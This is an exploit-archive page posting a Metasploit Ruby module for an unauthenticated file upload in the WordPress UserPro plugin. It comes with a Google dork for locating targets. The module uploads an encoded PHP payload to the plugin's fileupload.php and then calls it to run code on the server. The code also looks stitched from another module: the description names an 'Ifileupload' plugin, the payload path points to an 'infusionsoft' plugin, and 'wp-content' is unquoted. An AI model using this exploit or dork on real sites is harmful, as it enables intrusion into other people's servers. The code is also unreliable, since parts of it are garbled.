Home / os / win8

Wordpress Userpro Remote File Upload

Posted on 30 November -0001

<HTML><HEAD><TITLE>Wordpress Userpro Remote File Upload</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY># Exploit Title : Wordpress Userpro Remote File Upload # Exploit Author : Ashiyane Digital Security Team # Vendor Homepage : http://userproplugin.com/ # Google Dork : inurl:/wp-content/plugins/userpro/ # Date : 10/20/2016 # Tested on : Windows10/Linux # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::HTTP::Wordpress include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Wordpress Userpro unauthorization Upload Vulnerability', 'Description' => %q{ This module exploits an arbitrary PHP code upload in the wordpress Ifileupload plugin, The vulnerability allows for unauthorization file upload and remote code execution. }, 'Author' => [ 'T3rm!nat0r5', 'termijan <poyaterminator@gmail.com>' ], 'License' => MSF_LICENSE, 'References' => [ ['Ref', 'http://priv8.termijan/'], ], 'Privileged' => false, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['userpro', {}]], 'DisclosureDate' => 'Oct 20 2016', 'DefaultTarget' => 0) ) end def check res = send_request_cgi( 'uri' => normalize_uri(wordpress_url_plugins, 'userpro', 'userpro', 'lib', 'fileupload','fileupload.php') ) if res && res.code == 200 && res.body =~ /Code Generator/ && res.body =~ /userpro/ return Exploit::CheckCode::Detected end Exploit::CheckCode::Safe end def exploit php_pagename = rand_text_alpha(8 + rand(8)) + '.php' res = send_request_cgi({ 'uri' => normalize_uri(wp-content, 'plugins', 'userpro', 'lib', 'fileupload' , 'fileupload.php'), 'method' => 'POST', 'vars_post' => { 'fileNamePattern' => php_pagename, 'fileTemplate' => payload.encoded } }) if res && res.code == 200 && res.body && res.body.to_s =~ /Creating File/ print_good("#{peer} - Our payload is at: #{php_pagename}. Calling payload...") register_files_for_cleanup(php_pagename) else fail_with("#{peer} - Unable deploy payload, server returned #{res.code}") end print_status("#{peer} - Calling payload ...") send_request_cgi({ 'uri' => normalize_uri(wordpress_url_plugins, 'infusionsoft', 'Infusionsoft', 'utilities', php_pagename) }, 2) end end # Exploit by T3rm!nat0r5</BODY></HTML>

 

TOP